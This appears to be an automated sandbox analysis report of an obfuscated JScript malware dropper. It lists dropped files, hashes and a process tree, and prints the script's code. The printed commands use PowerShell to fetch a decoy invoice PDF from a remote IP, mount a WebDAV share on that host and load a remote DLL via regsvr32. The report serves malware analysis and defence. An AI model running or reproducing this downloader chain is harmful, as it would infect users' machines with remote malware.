Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15955), with CRLF line terminators
Entropy (8bit):	4.926429531637401
TrID:
File name:	18971281001132729595.js
File size:	19'395 bytes
MD5:	7e728b7a86f10d9a44622d1fbf22c32f
SHA1:	9e3d20940ff8e5333cba040eaaf5350bdb82b755
SHA256:	cf327083aa14b4e3efdcc23dc14944f9ba8657f9e3faa22e3f0c3207548caf67
SHA512:	72acaefae99d0fb5bc7c2b4f3cddb1c1bb0aed6cb6cde9a59bbabfc7c603c26e470f9c82beb0c1815c5594a983c36c711e01b94508c115540f41b9d008cefa43
SSDEEP:	192:0lZuzxkVMcjvA5K8mWIiJmkginHNBOBtFJPmH9kI+b7YyXde3rKvUHZZOD22tvUT:hzAMggITPmH9yte7KvM+xF6I8riFH8
TLSH:	1D92309B6D0C8342C9E095F0ABA748C1B12CD7CE8911C17C6B53BF83A4BA79196F35B5
File Content Preview:	function crvqrre(){wgihyeb=[1031,3079,5127,4103,2055,3072];var eloyqsape=this[tmwznxq+acehwatin+mxgdpyh+lgynri+pitig+rgkrtnycf+rgbzfglwy+mlchcv](this[tuvkn+wvuqtwc+lzoidg+mxgdpyh+dtrrzrt+tmwznxq+mlchcv][npqxfkze+mxgdpyh+pitig+acehwatin+mlchcv+pitig+wxvmrh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js"
Imagebase:	0x7ff72be80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Imagebase:	0x7ff6fda90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:19:25
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:19:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:19:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fda90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:19:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e8540000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:19:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:19:30
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:19:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1692,i,872176090772695585,7218028360287042238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function crvqrre() {	crvqrre() ➔ undefined
1	wgihyeb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eloyqsape = this[tmwznxq + acehwatin + mxgdpyh + lgynri + pitig + rgkrtnycf + rgbzfglwy + mlchcv] ( this[tuvkn + wvuqtwc + lzoidg + mxgdpyh + dtrrzrt + tmwznxq + mlchcv][npqxfkze + mxgdpyh + pitig + acehwatin + mlchcv + pitig + wxvmrhw + ymkwpn + pvzpadwfh + pitig + lzoidg + mlchcv] ( tuvkn + wvuqtwc + lzoidg + mxgdpyh + dtrrzrt + tmwznxq + mlchcv + pixwvulh + wvuqtwc + stqmbyp + pitig + ndhwk + ndhwk ) [zcdugpw + pitig + rodajbiv + zcdugpw + pitig + acehwatin + mwevdlbq] ( mysnov + xzncz + rmogaqf + xapooyu + bpfsgbsbh + npqxfkze + tlyzodv + zcdugpw + zcdugpw + rmogaqf + fagcyd + awdlk + bpfsgbsbh + tlyzodv + wvuqtwc + rmogaqf + zcdugpw + xudlhq + npqxfkze + uwkli + rgbzfglwy + mlchcv + mxgdpyh + uwkli + ndhwk + isfubxo + zqznmbhet + acehwatin + rgbzfglwy + pitig + ndhwk + xudlhq + rgkrtnycf + rgbzfglwy + mlchcv + pitig + mxgdpyh + rgbzfglwy + acehwatin + mlchcv + dtrrzrt + uwkli + rgbzfglwy + acehwatin + ndhwk + xudlhq + ypwxp + uwkli + lzoidg + acehwatin + ndhwk + pitig ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ntbozshcj = 0 ; ntbozshcj < wgihyeb[ndhwk + pitig + rgbzfglwy + rodajbiv + mlchcv + stqmbyp] ; ++ ntbozshcj )
4	{
5	if ( eloyqsape == wgihyeb[ntbozshcj] )
6	{
7	eloyqsape = true;
8	break ;
9	}
10	}
11	if ( eloyqsape !== true )
12	this[tuvkn + wvuqtwc + lzoidg + mxgdpyh + dtrrzrt + tmwznxq + mlchcv][mfwwxuz + pdtexkzj + dtrrzrt + mlchcv] ( );
13	this[tuvkn + wvuqtwc + lzoidg + mxgdpyh + dtrrzrt + tmwznxq + mlchcv][npqxfkze + mxgdpyh + pitig + acehwatin + mlchcv + pitig + wxvmrhw + ymkwpn + pvzpadwfh + pitig + lzoidg + mlchcv] ( tuvkn + wvuqtwc + lzoidg + mxgdpyh + dtrrzrt + tmwznxq + mlchcv + pixwvulh + wvuqtwc + stqmbyp + pitig + ndhwk + ndhwk ) [mxgdpyh + pdtexkzj + rgbzfglwy] ( lzoidg + cohmqddh + mwevdlbq + isfubxo + qebaqqubk + lzoidg + isfubxo + tmwznxq + uwkli + nmfzjvzvx + pitig + mxgdpyh + lgynri + stqmbyp + pitig + ndhwk + ndhwk + pixwvulh + pitig + fytxgc + pitig + isfubxo + qhzvhpcf + npqxfkze + uwkli + cohmqddh + cohmqddh + acehwatin + rgbzfglwy + mwevdlbq + isfubxo + jaksvn + rgkrtnycf + rgbzfglwy + aafqauo + uwkli + iogor + pitig + qhzvhpcf + tuvkn + pitig + ymkwpn + zcdugpw + pitig + gqkxcqbk + pdtexkzj + pitig + lgynri + mlchcv + isfubxo + qhzvhpcf + wxvmrhw + pdtexkzj + mlchcv + gkqhtwtka + dtrrzrt + ndhwk + pitig + isfubxo + yfodgbmyh + mlchcv + pitig + cohmqddh + tmwznxq + yfodgbmyh + xudlhq + dtrrzrt + rgbzfglwy + aafqauo + uwkli + dtrrzrt + lzoidg + pitig + pixwvulh + tmwznxq + mwevdlbq + xduumz + isfubxo + stqmbyp + mlchcv + mlchcv + tmwznxq + rlpwjixe + qebaqqubk + qebaqqubk + pywrljb + mcfngcza + ximdg + pixwvulh + pywrljb + sxityek + ximdg + pixwvulh + pywrljb + pixwvulh + nfhjouug + uhlinj + ifhsiqf + qebaqqubk + dtrrzrt + rgbzfglwy + aafqauo + uwkli + dtrrzrt + lzoidg + pitig + pixwvulh + tmwznxq + stqmbyp + tmwznxq + jaksvn + vtnfxz + vtnfxz + lgynri + mlchcv + acehwatin + mxgdpyh + mlchcv + isfubxo + yfodgbmyh + mlchcv + pitig + cohmqddh + tmwznxq + yfodgbmyh + xudlhq + dtrrzrt + rgbzfglwy + aafqauo + uwkli + dtrrzrt + lzoidg + pitig + pixwvulh + tmwznxq + mwevdlbq + xduumz + vtnfxz + vtnfxz + lzoidg + cohmqddh + mwevdlbq + isfubxo + qebaqqubk + lzoidg + isfubxo + rgbzfglwy + pitig + mlchcv + isfubxo + pdtexkzj + lgynri + pitig + isfubxo + xudlhq + xudlhq + pywrljb + mcfngcza + ximdg + pixwvulh + pywrljb + sxityek + ximdg + pixwvulh + pywrljb + pixwvulh + nfhjouug + uhlinj + ifhsiqf + glbpw + brveecf + brveecf + brveecf + brveecf + xudlhq + mwevdlbq + acehwatin + aafqauo + nmfzjvzvx + nmfzjvzvx + nmfzjvzvx + mxgdpyh + uwkli + uwkli + mlchcv + xudlhq + vtnfxz + vtnfxz + lzoidg + cohmqddh + mwevdlbq + isfubxo + qebaqqubk + lzoidg + isfubxo + mxgdpyh + pitig + rodajbiv + lgynri + aafqauo + mxgdpyh + ximdg + nfhjouug + isfubxo + qebaqqubk + lgynri + isfubxo + xudlhq + xudlhq + pywrljb + mcfngcza + ximdg + pixwvulh + pywrljb + sxityek + ximdg + pixwvulh + pywrljb + pixwvulh + nfhjouug + uhlinj + ifhsiqf + glbpw + brveecf + brveecf + brveecf + brveecf + xudlhq + mwevdlbq + acehwatin + aafqauo + nmfzjvzvx + nmfzjvzvx + nmfzjvzvx + mxgdpyh + uwkli + uwkli + mlchcv + xudlhq + nfhjouug + ifhsiqf + zbbkwdmll + ifhsiqf + cybsgrcp + mcfngcza + pywrljb + sxityek + cybsgrcp + ximdg + pywrljb + brveecf + nfhjouug + ifhsiqf + pixwvulh + mwevdlbq + ndhwk + ndhwk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll",0,false) ➔ 0
14	}
15	awdlk = "h";
16	awdlk = "E";
17	awdlk = "Z";
18	awdlk = "y";
19	awdlk = "y";
20	awdlk = "T";
21	sxityek = "W";
22	sxityek = "X";
23	sxityek = "g";
24	sxityek = "t";
25	sxityek = "s";
26	sxityek = "r";
27	sxityek = "g";
28	sxityek = "A";
29	sxityek = "J";
30	sxityek = "r";
31	sxityek = "s";
32	sxityek = "d";
33	sxityek = "L";
34	sxityek = "p";
35	sxityek = "c";
36	sxityek = "q";
37	sxityek = "f";
38	sxityek = "q";
39	sxityek = "m";
40	sxityek = "H";
41	sxityek = "V";
42	sxityek = "Y";
43	sxityek = "U";
44	sxityek = "t";
45	sxityek = "Z";
46	sxityek = "k";
47	sxityek = "R";
48	sxityek = "P";
49	sxityek = "i";
50	sxityek = "K";
51	sxityek = "c";
52	sxityek = "f";
53	sxityek = "C";
54	sxityek = "m";
55	sxityek = "L";
56	sxityek = "i";
57	sxityek = "H";
58	sxityek = "M";
59	sxityek = "h";
60	sxityek = "T";
61	sxityek = "e";
62	sxityek = "4";
63	rodajbiv = "t";
64	rodajbiv = "V";
65	rodajbiv = "D";
66	rodajbiv = "m";
67	rodajbiv = "S";
68	rodajbiv = "g";
69	rodajbiv = "w";
70	rodajbiv = "N";
71	rodajbiv = "n";
72	rodajbiv = "G";
73	rodajbiv = "e";
74	rodajbiv = "X";
75	rodajbiv = "U";
76	rodajbiv = "g";
77	rodajbiv = "A";
78	rodajbiv = "B";
79	rodajbiv = "x";
80	rodajbiv = "j";
81	rodajbiv = "a";
82	rodajbiv = "g";
83	ndhwk = "H";
84	ndhwk = "o";
85	ndhwk = "H";
86	ndhwk = "p";
87	ndhwk = "C";
88	ndhwk = "t";
89	ndhwk = "x";
90	ndhwk = "K";
91	ndhwk = "q";
92	ndhwk = "v";
93	ndhwk = "R";
94	ndhwk = "s";
95	ndhwk = "Z";
96	ndhwk = "l";
97	zqznmbhet = "G";
98	zqznmbhet = "B";
99	zqznmbhet = "N";
100	zqznmbhet = "K";
101	zqznmbhet = "G";
102	zqznmbhet = "A";
103	zqznmbhet = "c";
104	zqznmbhet = "r";
105	zqznmbhet = "v";
106	zqznmbhet = "j";
107	zqznmbhet = "P";
108	rgbzfglwy = "L";
109	rgbzfglwy = "q";
110	rgbzfglwy = "I";
111	rgbzfglwy = "q";
112	rgbzfglwy = "N";
113	rgbzfglwy = "Q";
114	rgbzfglwy = "i";
115	rgbzfglwy = "S";
116	rgbzfglwy = "w";
117	rgbzfglwy = "A";
118	rgbzfglwy = "N";
119	rgbzfglwy = "D";
120	rgbzfglwy = "V";
121	rgbzfglwy = "S";
122	rgbzfglwy = "T";
123	rgbzfglwy = "N";
124	rgbzfglwy = "n";
125	mysnov = "L";
126	mysnov = "m";
127	mysnov = "s";
128	mysnov = "u";
129	mysnov = "b";
130	mysnov = "N";
131	mysnov = "a";
132	mysnov = "d";
133	mysnov = "T";
134	mysnov = "L";
135	mysnov = "D";
136	mysnov = "u";
137	mysnov = "L";
138	mysnov = "I";
139	mysnov = "K";
140	mysnov = "M";
141	mysnov = "H";
142	rgkrtnycf = "B";
143	rgkrtnycf = "H";
144	rgkrtnycf = "W";
145	rgkrtnycf = "n";
146	rgkrtnycf = "n";
147	rgkrtnycf = "Q";
148	rgkrtnycf = "K";
149	rgkrtnycf = "Z";
150	rgkrtnycf = "U";
151	rgkrtnycf = "I";
152	yfodgbmyh = "x";
153	yfodgbmyh = "Y";
154	yfodgbmyh = "L";
155	yfodgbmyh = "X";
156	yfodgbmyh = "U";
157	yfodgbmyh = "G";
158	yfodgbmyh = "W";
159	yfodgbmyh = "D";
160	yfodgbmyh = "F";
161	yfodgbmyh = "k";
162	yfodgbmyh = "B";
163	yfodgbmyh = "J";
164	yfodgbmyh = "Q";
165	yfodgbmyh = "U";
166	yfodgbmyh = "H";
167	yfodgbmyh = "E";
168	yfodgbmyh = "y";
169	yfodgbmyh = "D";
170	yfodgbmyh = "b";
171	yfodgbmyh = "r";
172	yfodgbmyh = "l";
173	yfodgbmyh = "U";
174	yfodgbmyh = "F";
175	yfodgbmyh = "b";
176	yfodgbmyh = "i";
177	yfodgbmyh = "X";
178	yfodgbmyh = "U";
179	yfodgbmyh = "%";
180	mwevdlbq = "s";
181	mwevdlbq = "d";
182	mxgdpyh = "h";
183	mxgdpyh = "H";
184	mxgdpyh = "R";
185	mxgdpyh = "Q";
186	mxgdpyh = "V";
187	mxgdpyh = "h";
188	mxgdpyh = "w";
189	mxgdpyh = "v";
190	mxgdpyh = "L";
191	mxgdpyh = "B";
192	mxgdpyh = "U";
193	mxgdpyh = "E";
194	mxgdpyh = "Y";
195	mxgdpyh = "h";
196	mxgdpyh = "M";
197	mxgdpyh = "T";
198	mxgdpyh = "H";
199	mxgdpyh = "T";
200	mxgdpyh = "n";
201	mxgdpyh = "r";
202	mxgdpyh = "U";
203	mxgdpyh = "s";
204	mxgdpyh = "Z";
205	mxgdpyh = "a";
206	mxgdpyh = "K";
207	mxgdpyh = "m";
208	mxgdpyh = "G";
209	mxgdpyh = "d";
210	mxgdpyh = "N";
211	mxgdpyh = "c";
212	mxgdpyh = "r";
213	aafqauo = "N";
214	aafqauo = "j";
215	aafqauo = "v";
216	aafqauo = "N";
217	aafqauo = "E";
218	aafqauo = "m";
219	aafqauo = "k";
220	aafqauo = "F";
221	aafqauo = "z";
222	aafqauo = "j";
223	aafqauo = "g";
224	aafqauo = "o";
225	aafqauo = "J";
226	aafqauo = "y";
227	aafqauo = "S";
228	aafqauo = "l";
229	aafqauo = "j";
230	aafqauo = "b";
231	aafqauo = "G";
232	aafqauo = "O";
233	aafqauo = "L";
234	aafqauo = "U";
235	aafqauo = "l";
236	aafqauo = "x";
237	aafqauo = "l";
238	aafqauo = "h";
239	aafqauo = "z";
240	aafqauo = "n";
241	aafqauo = "v";
242	ymkwpn = "d";
243	ymkwpn = "K";
244	ymkwpn = "J";
245	ymkwpn = "m";
246	ymkwpn = "S";
247	ymkwpn = "m";
248	ymkwpn = "c";
249	ymkwpn = "n";
250	ymkwpn = "r";
251	ymkwpn = "W";
252	ymkwpn = "k";
253	ymkwpn = "G";
254	ymkwpn = "Y";
255	ymkwpn = "q";
256	ymkwpn = "x";
257	ymkwpn = "X";
258	ymkwpn = "E";
259	ymkwpn = "J";
260	ymkwpn = "l";
261	ymkwpn = "r";
262	ymkwpn = "g";
263	ymkwpn = "V";
264	ymkwpn = "Y";
265	ymkwpn = "V";
266	ymkwpn = "N";
267	ymkwpn = "M";
268	ymkwpn = "b";
269	ymkwpn = "B";
270	ymkwpn = "h";
271	ymkwpn = "F";
272	ymkwpn = "K";
273	ymkwpn = "a";
274	ymkwpn = "S";
275	ymkwpn = "q";
276	ymkwpn = "Z";
277	ymkwpn = "H";
278	ymkwpn = "v";
279	ymkwpn = "T";
280	ymkwpn = "g";
281	ymkwpn = "D";
282	ymkwpn = "b";
283	qhzvhpcf = "I";
284	qhzvhpcf = "O";
285	qhzvhpcf = "U";
286	qhzvhpcf = "L";
287	qhzvhpcf = "Y";
288	qhzvhpcf = "k";
289	qhzvhpcf = "G";
290	qhzvhpcf = "U";
291	qhzvhpcf = "N";
292	qhzvhpcf = "n";
293	qhzvhpcf = "-";
294	xapooyu = "C";
295	xapooyu = "j";
296	xapooyu = "K";
297	xapooyu = "s";
298	xapooyu = "G";
299	xapooyu = "O";
300	xapooyu = "i";
301	xapooyu = "g";
302	xapooyu = "l";
303	xapooyu = "q";
304	xapooyu = "s";
305	xapooyu = "O";
306	xapooyu = "w";
307	xapooyu = "k";
308	xapooyu = "a";
309	xapooyu = "B";
310	xapooyu = "u";
311	xapooyu = "Z";
312	xapooyu = "j";
313	xapooyu = "S";
314	xapooyu = "f";
315	xapooyu = "Q";
316	xapooyu = "D";
317	xapooyu = "k";
318	xapooyu = "S";
319	xapooyu = "Y";
320	wvuqtwc = "S";
321	wvuqtwc = "y";
322	wvuqtwc = "K";
323	wvuqtwc = "T";
324	wvuqtwc = "p";
325	wvuqtwc = "n";
326	wvuqtwc = "R";
327	wvuqtwc = "D";
328	wvuqtwc = "Q";
329	wvuqtwc = "F";
330	wvuqtwc = "P";
331	wvuqtwc = "G";
332	wvuqtwc = "p";
333	wvuqtwc = "m";
334	wvuqtwc = "y";
335	wvuqtwc = "r";
336	wvuqtwc = "G";
337	wvuqtwc = "D";
338	wvuqtwc = "S";
339	wvuqtwc = "n";
340	wvuqtwc = "j";
341	wvuqtwc = "y";
342	wvuqtwc = "o";
343	wvuqtwc = "E";
344	wvuqtwc = "d";
345	wvuqtwc = "L";
346	wvuqtwc = "K";
347	wvuqtwc = "W";
348	wvuqtwc = "C";
349	wvuqtwc = "B";
350	wvuqtwc = "f";
351	wvuqtwc = "F";
352	wvuqtwc = "T";
353	wvuqtwc = "Z";
354	wvuqtwc = "u";
355	wvuqtwc = "q";
356	wvuqtwc = "a";
357	wvuqtwc = "q";
358	wvuqtwc = "p";
359	wvuqtwc = "a";
360	wvuqtwc = "r";
361	wvuqtwc = "S";
362	rmogaqf = "x";
363	rmogaqf = "q";
364	rmogaqf = "m";
365	rmogaqf = "q";
366	rmogaqf = "I";
367	rmogaqf = "V";
368	rmogaqf = "K";
369	rmogaqf = "D";
370	rmogaqf = "B";
371	rmogaqf = "I";
372	rmogaqf = "m";
373	rmogaqf = "k";
374	rmogaqf = "C";
375	rmogaqf = "E";
376	ypwxp = "z";
377	ypwxp = "e";
378	ypwxp = "Z";
379	ypwxp = "J";
380	ypwxp = "o";
381	ypwxp = "F";
382	ypwxp = "u";
383	ypwxp = "a";
384	ypwxp = "L";
385	ypwxp = "N";
386	ypwxp = "X";
387	ypwxp = "A";
388	ypwxp = "O";
389	ypwxp = "i";
390	ypwxp = "F";
391	ypwxp = "r";
392	ypwxp = "i";
393	ypwxp = "y";
394	ypwxp = "V";
395	ypwxp = "L";
396	uhlinj = "v";
397	uhlinj = "t";
398	uhlinj = "b";
399	uhlinj = "i";
400	uhlinj = "Z";
401	uhlinj = "V";
402	uhlinj = "Z";
403	uhlinj = "f";
404	uhlinj = "a";
405	uhlinj = "N";
406	uhlinj = "n";
407	uhlinj = "r";
408	uhlinj = "s";
409	uhlinj = "p";
410	uhlinj = "V";
411	uhlinj = "B";
412	uhlinj = "n";
413	uhlinj = "P";
